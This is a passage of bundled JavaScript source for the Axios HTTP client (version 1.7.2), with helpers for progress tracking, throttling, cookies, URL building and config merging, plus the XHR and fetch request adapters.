/^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(url);\n  return match && match[1] || '';\n}\n","'use strict';\n\n/**\n * Calculate data maxRate\n * @param {Number} [samplesCount= 10]\n * @param {Number} [min= 1000]\n * @returns {Function}\n */\nfunction speedometer(samplesCount, min) {\n  samplesCount = samplesCount || 10;\n  const bytes = new Array(samplesCount);\n  const timestamps = new Array(samplesCount);\n  let head = 0;\n  let tail = 0;\n  let firstSampleTS;\n\n  min = min !== undefined ? min : 1000;\n\n  return function push(chunkLength) {\n    const now = Date.now();\n\n    const startedAt = timestamps[tail];\n\n    if (!firstSampleTS) {\n      firstSampleTS = now;\n    }\n\n    bytes[head] = chunkLength;\n    timestamps[head] = now;\n\n    let i = tail;\n    let bytesCount = 0;\n\n    while (i !== head) {\n      bytesCount += bytes[i++];\n      i = i % samplesCount;\n    }\n\n    head = (head + 1) % samplesCount;\n\n    if (head === tail) {\n      tail = (tail + 1) % samplesCount;\n    }\n\n    if (now - firstSampleTS < min) {\n      return;\n    }\n\n    const passed = startedAt && now - startedAt;\n\n    return passed ? Math.round(bytesCount * 1000 / passed) : undefined;\n  };\n}\n\nexport default speedometer;\n","'use strict';\n\n/**\n * Throttle decorator\n * @param {Function} fn\n * @param {Number} freq\n * @return {Function}\n */\nfunction throttle(fn, freq) {\n  let timestamp = 0;\n  const threshold = 1000 / freq;\n  let timer = null;\n  return function throttled() {\n    const force = this === true;\n\n    const now = Date.now();\n    if (force || now - timestamp > threshold) {\n      if (timer) {\n        clearTimeout(timer);\n        timer = null;\n      }\n      timestamp = now;\n      return fn.apply(null, arguments);\n    }\n    if (!timer) {\n      timer = setTimeout(() => {\n        timer = null;\n        timestamp = Date.now();\n        return fn.apply(null, arguments);\n      }, threshold - (now - timestamp));\n    }\n  };\n}\n\nexport default throttle;\n","import speedometer from \"./speedometer.js\";\nimport throttle from \"./throttle.js\";\n\nexport default (listener, isDownloadStream, freq = 3) => {\n  let bytesNotified = 0;\n  const _speedometer = speedometer(50, 250);\n\n  return throttle(e => {\n    const loaded = e.loaded;\n    const total = e.lengthComputable ? e.total : undefined;\n    const progressBytes = loaded - bytesNotified;\n    const rate = _speedometer(progressBytes);\n    const inRange = loaded <= total;\n\n    bytesNotified = loaded;\n\n    const data = {\n      loaded,\n      total,\n      progress: total ? (loaded / total) : undefined,\n      bytes: progressBytes,\n      rate: rate ? rate : undefined,\n      estimated: rate && total && inRange ? (total - loaded) / rate : undefined,\n      event: e,\n      lengthComputable: total != null\n    };\n\n    data[isDownloadStream ? 'download' : 'upload'] = true;\n\n    listener(data);\n  }, freq);\n}\n","'use strict';\n\nimport utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n// Standard browser envs have full support of the APIs needed to test\n// whether the request URL is of the same origin as current location.\n  (function standardBrowserEnv() {\n    const msie = /(msie|trident)/i.test(navigator.userAgent);\n    const urlParsingNode = document.createElement('a');\n    let originURL;\n\n    /**\n    * Parse a URL to discover its components\n    *\n    * @param {String} url The URL to be parsed\n    * @returns {Object}\n    */\n    function resolveURL(url) {\n      let href = url;\n\n      if (msie) {\n        // IE needs attribute set twice to normalize properties\n        urlParsingNode.setAttribute('href', href);\n        href = urlParsingNode.href;\n      }\n\n      urlParsingNode.setAttribute('href', href);\n\n      // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils\n      return {\n        href: urlParsingNode.href,\n        protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',\n        host: urlParsingNode.host,\n        search: urlParsingNode.search ? urlParsingNode.search.replace(/^\\?/, '') : '',\n        hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',\n        hostname: urlParsingNode.hostname,\n        port: urlParsingNode.port,\n        pathname: (urlParsingNode.pathname.charAt(0) === '/') ?\n          urlParsingNode.pathname :\n          '/' + urlParsingNode.pathname\n      };\n    }\n\n    originURL = resolveURL(window.location.href);\n\n    /**\n    * Determine if a URL shares the same origin as the current location\n    *\n    * @param {String} requestURL The URL to test\n    * @returns {boolean} True if URL shares the same origin, otherwise false\n    */\n    return function isURLSameOrigin(requestURL) {\n      const parsed = (utils.isString(requestURL)) ? resolveURL(requestURL) : requestURL;\n      return (parsed.protocol === originURL.protocol &&\n          parsed.host === originURL.host);\n    };\n  })() :\n\n  // Non standard browser envs (web workers, react-native) lack needed support.\n  (function nonStandardBrowserEnv() {\n    return function isURLSameOrigin() {\n      return true;\n    };\n  })();\n","import utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n  // Standard browser envs support document.cookie\n  {\n    write(name, value, expires, path, domain, secure) {\n      const cookie = [name + '=' + encodeURIComponent(value)];\n\n      utils.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());\n\n      utils.isString(path) && cookie.push('path=' + path);\n\n      utils.isString(domain) && cookie.push('domain=' + domain);\n\n      secure === true && cookie.push('secure');\n\n      document.cookie = cookie.join('; ');\n    },\n\n    read(name) {\n      const match = document.cookie.match(new RegExp('(^|;\\\\s*)(' + name + ')=([^;]*)'));\n      return (match ? decodeURIComponent(match[3]) : null);\n    },\n\n    remove(name) {\n      this.write(name, '', Date.now() - 86400000);\n    }\n  }\n\n  :\n\n  // Non-standard browser env (web workers, react-native) lack needed support.\n  {\n    write() {},\n    read() {\n      return null;\n    },\n    remove() {}\n  };\n\n","'use strict';\n\n/**\n * Determines whether the specified URL is absolute\n *\n * @param {string} url The URL to test\n *\n * @returns {boolean} True if the specified URL is absolute, otherwise false\n */\nexport default function isAbsoluteURL(url) {\n  // A URL is considered absolute if it begins with \"<scheme>://\" or \"//\" (protocol-relative URL).\n  // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed\n  // by any combination of letters, digits, plus, period, or hyphen.\n  return /^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(url);\n}\n","'use strict';\n\n/**\n * Creates a new URL by combining the specified URLs\n *\n * @param {string} baseURL The base URL\n * @param {string} relativeURL The relative URL\n *\n * @returns {string} The combined URL\n */\nexport default function combineURLs(baseURL, relativeURL) {\n  return relativeURL\n    ? baseURL.replace(/\\/?\\/$/, '') + '/' + relativeURL.replace(/^\\/+/, '')\n    : baseURL;\n}\n","'use strict';\n\nimport isAbsoluteURL from '../helpers/isAbsoluteURL.js';\nimport combineURLs from '../helpers/combineURLs.js';\n\n/**\n * Creates a new URL by combining the baseURL with the requestedURL,\n * only when the requestedURL is not already an absolute URL.\n * If the requestURL is absolute, this function returns the requestedURL untouched.\n *\n * @param {string} baseURL The base URL\n * @param {string} requestedURL Absolute or relative URL to combine\n *\n * @returns {string} The combined full path\n */\nexport default function buildFullPath(baseURL, requestedURL) {\n  if (baseURL && !isAbsoluteURL(requestedURL)) {\n    return combineURLs(baseURL, requestedURL);\n  }\n  return requestedURL;\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosHeaders from \"./AxiosHeaders.js\";\n\nconst headersToObject = (thing) => thing instanceof AxiosHeaders ? { ...thing } : thing;\n\n/**\n * Config-specific merge-function which creates a new config-object\n * by merging two configuration objects together.\n *\n * @param {Object} config1\n * @param {Object} config2\n *\n * @returns {Object} New object resulting from merging config2 to config1\n */\nexport default function mergeConfig(config1, config2) {\n  // eslint-disable-next-line no-param-reassign\n  config2 = config2 || {};\n  const config = {};\n\n  function getMergedValue(target, source, caseless) {\n    if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n      return utils.merge.call({caseless}, target, source);\n    } else if (utils.isPlainObject(source)) {\n      return utils.merge({}, source);\n    } else if (utils.isArray(source)) {\n      return source.slice();\n    }\n    return source;\n  }\n\n  // eslint-disable-next-line consistent-return\n  function mergeDeepProperties(a, b, caseless) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(a, b, caseless);\n    } else if (!utils.isUndefined(a)) {\n      return getMergedValue(undefined, a, caseless);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function valueFromConfig2(a, b) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(undefined, b);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function defaultToConfig2(a, b) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(undefined, b);\n    } else if (!utils.isUndefined(a)) {\n      return getMergedValue(undefined, a);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function mergeDirectKeys(a, b, prop) {\n    if (prop in config2) {\n      return getMergedValue(a, b);\n    } else if (prop in config1) {\n      return getMergedValue(undefined, a);\n    }\n  }\n\n  const mergeMap = {\n    url: valueFromConfig2,\n    method: valueFromConfig2,\n    data: valueFromConfig2,\n    baseURL: defaultToConfig2,\n    transformRequest: defaultToConfig2,\n    transformResponse: defaultToConfig2,\n    paramsSerializer: defaultToConfig2,\n    timeout: defaultToConfig2,\n    timeoutMessage: defaultToConfig2,\n    withCredentials: defaultToConfig2,\n    withXSRFToken: defaultToConfig2,\n    adapter: defaultToConfig2,\n    responseType: defaultToConfig2,\n    xsrfCookieName: defaultToConfig2,\n    xsrfHeaderName: defaultToConfig2,\n    onUploadProgress: defaultToConfig2,\n    onDownloadProgress: defaultToConfig2,\n    decompress: defaultToConfig2,\n    maxContentLength: defaultToConfig2,\n    maxBodyLength: defaultToConfig2,\n    beforeRedirect: defaultToConfig2,\n    transport: defaultToConfig2,\n    httpAgent: defaultToConfig2,\n    httpsAgent: defaultToConfig2,\n    cancelToken: defaultToConfig2,\n    socketPath: defaultToConfig2,\n    responseEncoding: defaultToConfig2,\n    validateStatus: mergeDirectKeys,\n    headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true)\n  };\n\n  utils.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {\n    const merge = mergeMap[prop] || mergeDeepProperties;\n    const configValue = merge(config1[prop], config2[prop], prop);\n    (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n  });\n\n  return config;\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport isURLSameOrigin from \"./isURLSameOrigin.js\";\nimport cookies from \"./cookies.js\";\nimport buildFullPath from \"../core/buildFullPath.js\";\nimport mergeConfig from \"../core/mergeConfig.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport buildURL from \"./buildURL.js\";\n\nexport default (config) => {\n  const newConfig = mergeConfig({}, config);\n\n  let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;\n\n  newConfig.headers = headers = AxiosHeaders.from(headers);\n\n  newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);\n\n  // HTTP basic authentication\n  if (auth) {\n    headers.set('Authorization', 'Basic ' +\n      btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))\n    );\n  }\n\n  let contentType;\n\n  if (utils.isFormData(data)) {\n    if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {\n      headers.setContentType(undefined); // Let the browser set it\n    } else if ((contentType = headers.getContentType()) !== false) {\n      // fix semicolon duplication issue for ReactNative FormData implementation\n      const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];\n      headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));\n    }\n  }\n\n  // Add xsrf header\n  // This is only done if running in a standard browser environment.\n  // Specifically not if we're in a web worker, or react-native.\n\n  if (platform.hasStandardBrowserEnv) {\n    withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n\n    if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {\n      // Add xsrf header\n      const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n\n      if (xsrfValue) {\n        headers.set(xsrfHeaderName, xsrfValue);\n      }\n    }\n  }\n\n  return newConfig;\n}\n\n","import utils from './../utils.js';\nimport settle from './../core/settle.js';\nimport transitionalDefaults from '../defaults/transitional.js';\nimport AxiosError from '../core/AxiosError.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport parseProtocol from '../helpers/parseProtocol.js';\nimport platform from '../platform/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport progressEventReducer from '../helpers/progressEventReducer.js';\nimport resolveConfig from \"../helpers/resolveConfig.js\";\n\nconst isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';\n\nexport default isXHRAdapterSupported && function (config) {\n  return new Promise(function dispatchXhrRequest(resolve, reject) {\n    const _config = resolveConfig(config);\n    let requestData = _config.data;\n    const requestHeaders = AxiosHeaders.from(_config.headers).normalize();\n    let {responseType} = _config;\n    let onCanceled;\n    function done() {\n      if (_config.cancelToken) {\n        _config.cancelToken.unsubscribe(onCanceled);\n      }\n\n      if (_config.signal) {\n        _config.signal.removeEventListener('abort', onCanceled);\n      }\n    }\n\n    let request = new XMLHttpRequest();\n\n    request.open(_config.method.toUpperCase(), _config.url, true);\n\n    // Set the request timeout in MS\n    request.timeout = _config.timeout;\n\n    function onloadend() {\n      if (!request) {\n        return;\n      }\n      // Prepare the response\n      const responseHeaders = AxiosHeaders.from(\n        'getAllResponseHeaders' in request && request.getAllResponseHeaders()\n      );\n      const responseData = !responseType || responseType === 'text' || responseType === 'json' ?\n        request.responseText : request.response;\n      const response = {\n        data: responseData,\n        status: request.status,\n        statusText: request.statusText,\n        headers: responseHeaders,\n        config,\n        request\n      };\n\n      settle(function _resolve(value) {\n        resolve(value);\n        done();\n      }, function _reject(err) {\n        reject(err);\n        done();\n      }, response);\n\n      // Clean up request\n      request = null;\n    }\n\n    if ('onloadend' in request) {\n      // Use onloadend if available\n      request.onloadend = onloadend;\n    } else {\n      // Listen for ready state to emulate onloadend\n      request.onreadystatechange = function handleLoad() {\n        if (!request || request.readyState !== 4) {\n          return;\n        }\n\n        // The request errored out and we didn't get a response, this will be\n        // handled by onerror instead\n        // With one exception: request that using file: protocol, most browsers\n        // will return status as 0 even though it's a successful request\n        if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {\n          return;\n        }\n        // readystate handler is calling before onerror or ontimeout handlers,\n        // so we should call onloadend on the next 'tick'\n        setTimeout(onloadend);\n      };\n    }\n\n    // Handle browser request cancellation (as opposed to a manual cancellation)\n    request.onabort = function handleAbort() {\n      if (!request) {\n        return;\n      }\n\n      reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Handle low level network errors\n    request.onerror = function handleError() {\n      // Real errors are hidden from us by the browser\n      // onerror should only fire if it's a network error\n      reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Handle timeout\n    request.ontimeout = function handleTimeout() {\n      let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';\n      const transitional = _config.transitional || transitionalDefaults;\n      if (_config.timeoutErrorMessage) {\n        timeoutErrorMessage = _config.timeoutErrorMessage;\n      }\n      reject(new AxiosError(\n        timeoutErrorMessage,\n        transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n        _config,\n        request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Remove Content-Type if data is undefined\n    requestData === undefined && requestHeaders.setContentType(null);\n\n    // Add headers to the request\n    if ('setRequestHeader' in request) {\n      utils.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {\n        request.setRequestHeader(key, val);\n      });\n    }\n\n    // Add withCredentials to request if needed\n    if (!utils.isUndefined(_config.withCredentials)) {\n      request.withCredentials = !!_config.withCredentials;\n    }\n\n    // Add responseType to request if needed\n    if (responseType && responseType !== 'json') {\n      request.responseType = _config.responseType;\n    }\n\n    // Handle progress if needed\n    if (typeof _config.onDownloadProgress === 'function') {\n      request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true));\n    }\n\n    // Not all browsers support upload events\n    if (typeof _config.onUploadProgress === 'function' && request.upload) {\n      request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress));\n    }\n\n    if (_config.cancelToken || _config.signal) {\n      // Handle cancellation\n      // eslint-disable-next-line func-names\n      onCanceled = cancel => {\n        if (!request) {\n          return;\n        }\n        reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);\n        request.abort();\n        request = null;\n      };\n\n      _config.cancelToken && _config.cancelToken.subscribe(onCanceled);\n      if (_config.signal) {\n        _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);\n      }\n    }\n\n    const protocol = parseProtocol(_config.url);\n\n    if (protocol && platform.protocols.indexOf(protocol) === -1) {\n      reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));\n      return;\n    }\n\n\n    // Send the request\n    request.send(requestData || null);\n  });\n}\n","import CanceledError from \"../cancel/CanceledError.js\";\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst composeSignals = (signals, timeout) => {\n  let controller = new AbortController();\n\n  let aborted;\n\n  const onabort = function (cancel) {\n    if (!aborted) {\n      aborted = true;\n      unsubscribe();\n      const err = cancel instanceof Error ? cancel : this.reason;\n      controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));\n    }\n  }\n\n  let timer = timeout && setTimeout(() => {\n    onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT))\n  }, timeout)\n\n  const unsubscribe = () => {\n    if (signals) {\n      timer && clearTimeout(timer);\n      timer = null;\n      signals.forEach(signal => {\n        signal &&\n        (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort));\n      });\n      signals = null;\n    }\n  }\n\n  signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort));\n\n  const {signal} = controller;\n\n  signal.unsubscribe = unsubscribe;\n\n  return [signal, () => {\n    timer && clearTimeout(timer);\n    timer = null;\n  }];\n}\n\nexport default composeSignals;\n","\n\nexport const streamChunk = function* (chunk, chunkSize) {\n  let len = chunk.byteLength;\n\n  if (!chunkSize || len < chunkSize) {\n    yield chunk;\n    return;\n  }\n\n  let pos = 0;\n  let end;\n\n  while (pos < len) {\n    end = pos + chunkSize;\n    yield chunk.slice(pos, end);\n    pos = end;\n  }\n}\n\nexport const readBytes = async function* (iterable, chunkSize, encode) {\n  for await (const chunk of iterable) {\n    yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize);\n  }\n}\n\nexport const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => {\n  const iterator = readBytes(stream, chunkSize, encode);\n\n  let bytes = 0;\n\n  return new ReadableStream({\n    type: 'bytes',\n\n    async pull(controller) {\n      const {done, value} = await iterator.next();\n\n      if (done) {\n        controller.close();\n        onFinish();\n        return;\n      }\n\n      let len = value.byteLength;\n      onProgress && onProgress(bytes += len);\n      controller.enqueue(new Uint8Array(value));\n    },\n    cancel(reason) {\n      onFinish(reason);\n      return iterator.return();\n    }\n  }, {\n    highWaterMark: 2\n  })\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport AxiosError from \"../core/AxiosError.js\";\nimport composeSignals from \"../helpers/composeSignals.js\";\nimport {trackStream} from \"../helpers/trackStream.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport progressEventReducer from \"../helpers/progressEventReducer.js\";\nimport resolveConfig from \"../helpers/resolveConfig.js\";\nimport settle from \"../core/settle.js\";\n\nconst fetchProgressDecorator = (total, fn) => {\n  const lengthComputable = total != null;\n  return (loaded) => setTimeout(() => fn({\n    lengthComputable,\n    total,\n    loaded\n  }));\n}\n\nconst isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';\nconst isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';\n\n// used only inside the fetch adapter\nconst encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?\n    ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :\n    async (str) => new Uint8Array(await new Response(str).arrayBuffer())\n);\n\nconst supportsRequestStream = isReadableStreamSupported && (() => {\n  let duplexAccessed = false;\n\n  const hasContentType = new Request(platform.origin, {\n    body: new ReadableStream(),\n    method: 'POST',\n    get duplex() {\n      duplexAccessed = true;\n      return 'half';\n    },\n  }).headers.has('Content-Type');\n\n  return duplexAccessed && !hasContentType;\n})();\n\nconst DEFAULT_CHUNK_SIZE = 64 * 1024;\n\nconst supportsResponseStream = isReadableStreamSupported && !!(()=> {\n  try {\n    return utils.isReadableStream(new Response('').body);\n  } catch(err) {\n    // return undefined\n  }\n})();\n\nconst resolvers = {\n  stream: supportsResponseStream && ((res) => res.body)\n};\n\nisFetchSupported && (((res) => {\n  ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {\n    !resolvers[type] && (resolvers[type] = utils.isFunction(res[type]) ? (res) => res[type]() :\n      (_, config) => {\n        throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);\n      })\n  });\n})(new Response));\n\nconst getBodyLength = async (body) => {\n  if (body == null) {\n    return 0;\n  }\n\n  if(utils.isBlob(body)) {\n    return body.size;\n  }\n\n  if(utils.isSpecCompliantForm(body)) {\n    return (await new Request(body).arrayBuffer()).byteLength;\n  }\n\n  if(utils.isArrayBufferView(body)) {\n    return body.byteLength;\n  }\n\n  if(utils.isURLSearchParams(body)) {\n    body = body + '';\n  }\n\n  if(utils.isString(body)) {\n    return (await encodeText(body)).byteLength;\n  }\n}\n\nconst resolveBodyLength = async (headers, body) => {\n  const length = utils.toFiniteNumber(headers.getContentLength());\n\n  return length == null ? getBodyLength(body) : length;\n}\n\nexport default isFetchSupported && (async (config) => {\n  let {\n    url,\n    method,\n    data,\n    signal,\n    cancelToken,\n    timeout,\n    onDownloadProgress,\n    onUploadProgress,\n    responseType,\n    headers,\n    withCredentials = 'same-origin',\n    fetchOptions\n  } = resolveConfig(config);\n\n  responseType = responseType ? (responseType + '').toLowerCase() : 'text';\n\n  let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ?\n    composeSignals([signal, cancelToken], timeout) : [];\n\n  let finished, request;\n\n  const onFinish = () => {\n    !finished && setTimeout(() => {\n      composedSignal && composedSignal.unsubscribe();\n    });\n\n    finished = true;\n  }\n\n  let requestContentLength;\n\n  try {\n    if (\n      onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&\n      (requestContentLength = await resolveBodyLength(headers, data)) !== 0\n    ) {\n      let _request = new Request(url, {\n        method: 'POST',\n        body: data,\n        duplex: \"half\"\n      });\n\n      let contentTypeHeader;\n\n      if (utils.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {\n        headers.setContentType(contentTypeHeader)\n      }\n\n      if (_request.body) {\n        data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(\n          requestContentLength,\n          progressEventReducer(onUploadProgress)\n        ), null, encodeText);\n      }\n    }\n\n    if (!utils.isString(withCredentials)) {\n      withCredentials = withCredentials ? 'cors' : 'omit';\n    }\n\n    request = new Request(url, {\n      ...fetchOptions,\n      signal: composedSignal,\n      method: method.toUpperCase(),\n      headers: headers.normalize().toJSON(),\n      body: data,\n      duplex: \"half\",\n      withCredentials\n    });\n\n    let response = await fetch(request);\n\n    const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');\n\n    if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {\n      const options = {};\n\n      ['status', 'statusText', 'headers'].forEach(prop => {\n        options[prop] = response[prop];\n      });\n\n      const responseContentLength = utils.toFiniteNumber(response.headers.get('content-length'));\n\n      response = new Response(\n        trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(\n          responseContentLength,\n          progressEventReducer(onDownloadProgress, true)\n        ), isStreamResponse && onFinish, encodeText),\n        options\n      );\n    }\n\n    responseType = responseType || 'text';\n\n    let responseData = await resolvers[utils.findKey(resolvers, responseType) || 'text'](response, config);\n\n    !isStreamResponse && onFinish();\n\n    stopTimeout && stopTimeout();\n\n    return await new Promise((resolve, reject) => {\n      settle(resolve, reject, {\n        data: responseData,\n        headers: AxiosHeaders.from(response.headers),\n        status: response.status,\n        statusText: response.statusText,\n        config,\n        request\n      })\n    })\n  } catch (err) {\n    onFinish();\n\n    if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) {\n      throw Object.assign(\n        new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),\n        {\n          cause: err.cause || err\n        }\n      )\n    }\n\n    throw AxiosError.from(err, err && err.code, config, request);\n  }\n});\n\n\n","import utils from '../utils.js';\nimport httpAdapter from './http.js';\nimport xhrAdapter from './xhr.js';\nimport fetchAdapter from './fetch.js';\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst knownAdapters = {\n  http: httpAdapter,\n  xhr: xhrAdapter,\n  fetch: fetchAdapter\n}\n\nutils.forEach(knownAdapters, (fn, value) => {\n  if (fn) {\n    try {\n      Object.defineProperty(fn, 'name', {value});\n    } catch (e) {\n      // eslint-disable-next-line no-empty\n    }\n    Object.defineProperty(fn, 'adapterName', {value});\n  }\n});\n\nconst renderReason = (reason) => `- ${reason}`;\n\nconst isResolvedHandle = (adapter) => utils.isFunction(adapter) || adapter === null || adapter === false;\n\nexport default {\n  getAdapter: (adapters) => {\n    adapters = utils.isArray(adapters) ? adapters : [adapters];\n\n    const {length} = adapters;\n    let nameOrAdapter;\n    let adapter;\n\n    const rejectedReasons = {};\n\n    for (let i = 0; i < length; i++) {\n      nameOrAdapter = adapters[i];\n      let id;\n\n      adapter = nameOrAdapter;\n\n      if (!isResolvedHandle(nameOrAdapter)) {\n        adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];\n\n        if (adapter === undefined) {\n          throw new AxiosError(`Unknown adapter '${id}'`);\n        }\n      }\n\n      if (adapter) {\n        break;\n      }\n\n      rejectedReasons[id || '#' + i] = adapter;\n    }\n\n    if (!adapter) {\n\n      const reasons = Object.entries(rejectedReasons)\n        .map(([id, state]) => `adapter ${id} ` +\n          (state === false ? 'is not supported by the environment' : 'is not available in the build')\n        );\n\n      let s = length ?\n        (reasons.length > 1 ? 'since :\\n' + reasons.map(renderReason).join('\\n') : ' ' + renderReason(reasons[0])) :\n        'as no adapter specified';\n\n      throw new AxiosError(\n        `There is no suitable adapter to dispatch the request ` + s,\n        'ERR_NOT_SUPPORT'\n      );\n    }\n\n    return adapter;\n  },\n  adapters: knownAdapters\n}\n","'use strict';\n\nimport transformData from './transformData.js';\nimport isCancel from '../cancel/isCancel.js';\nimport defaults from '../defaults/index.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport adapters from \"../adapters/adapters.js\";\n\n/**\n * Throws a `CanceledError` if cancellation has been requested.\n *\n * @param {Object} config The config that is to be used for the request\n *\n * @returns {void}\n */\nfunction throwIfCancellationRequested(config) {\n  if (config.cancelToken) {\n    config.cancelToken.throwIfRequested();\n  }\n\n  if (config.signal && config.signal.aborted) {\n    throw new CanceledError(null, config);\n  }\n}\n\n/**\n * Dispatch a request to the server using the configured adapter.\n *\n * @param {object} config The config that is to be used for the request\n *\n * @returns {Promise} The Promise to be fulfilled\n */\nexport default function dispatchRequest(config) {\n  throwIfCancellationRequested(config);\n\n  config.headers = AxiosHeaders.from(config.headers);\n\n  // Transform request data\n  config.data = transformData.call(\n    config,\n    config.transformRequest\n  );\n\n  if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {\n    config.headers.setContentType('application/x-www-form-urlencoded', false);\n  }\n\n  const adapter = adapters.getAdapter(config.adapter || defaults.adapter);\n\n  return adapter(config).then(function onAdapterResolution(response) {\n    throwIfCancellationRequested(config);\n\n    // Transform response data\n    response.data = transformData.call(\n      config,\n      config.transformResponse,\n      response\n    );\n\n    response.headers = AxiosHeaders.from(response.headers);\n\n    return response;\n  }, function onAdapterRejection(reason) {\n    if (!isCancel(reason)) {\n      throwIfCancellationRequested(config);\n\n      // Transform response data\n      if (reason && reason.response) {\n        reason.response.data = transformData.call(\n          config,\n          config.transformResponse,\n          reason.response\n        );\n        reason.response.headers = AxiosHeaders.from(reason.response.headers);\n      }\n    }\n\n    return Promise.reject(reason);\n  });\n}\n","export const VERSION = \"1.7.2\";","'use strict';\n\nimport {VERSION} from '../env/data.js';\nimport AxiosError from '../core/AxiosError.js';\n\nconst validators = {};\n\n// eslint-disable-next-line func-names\n['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {\n  validators[type] = function validator(thing) {\n    return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;\n  };\n});\n\nconst deprecatedWarnings = {};\n\n/**\n * Transitional option validator\n *\n * @param {function|boolean?} validator - set to false if the transitional option has been removed\n * @param {string?} version - deprecated version / removed since version\n * @param {string?} message - some message with additional info\n *\n * @returns {function}\n */\nvalidators.transitional = function transitional(validator, version, message) {\n  function formatMessage(opt, desc) {\n    return '[Axios v' + VERSION + '] Transitional option \\'' + opt + '\\'' + desc + (message ? '. ' + message : '');\n  }\n\n  // eslint-disable-next-line func-names\n  return (value, opt, opts) => {\n    if (validator === false) {\n      throw new AxiosError(\n        formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),\n        AxiosError.ERR_DEPRECATED\n      );\n    }\n\n    if (version && !deprecatedWarnings[opt]) {\n      deprecatedWarnings[opt] = true;\n      // eslint-disable-next-line no-console\n      console.warn(\n        formatMessage(\n          opt,\n          ' has been deprecated since v' + version + 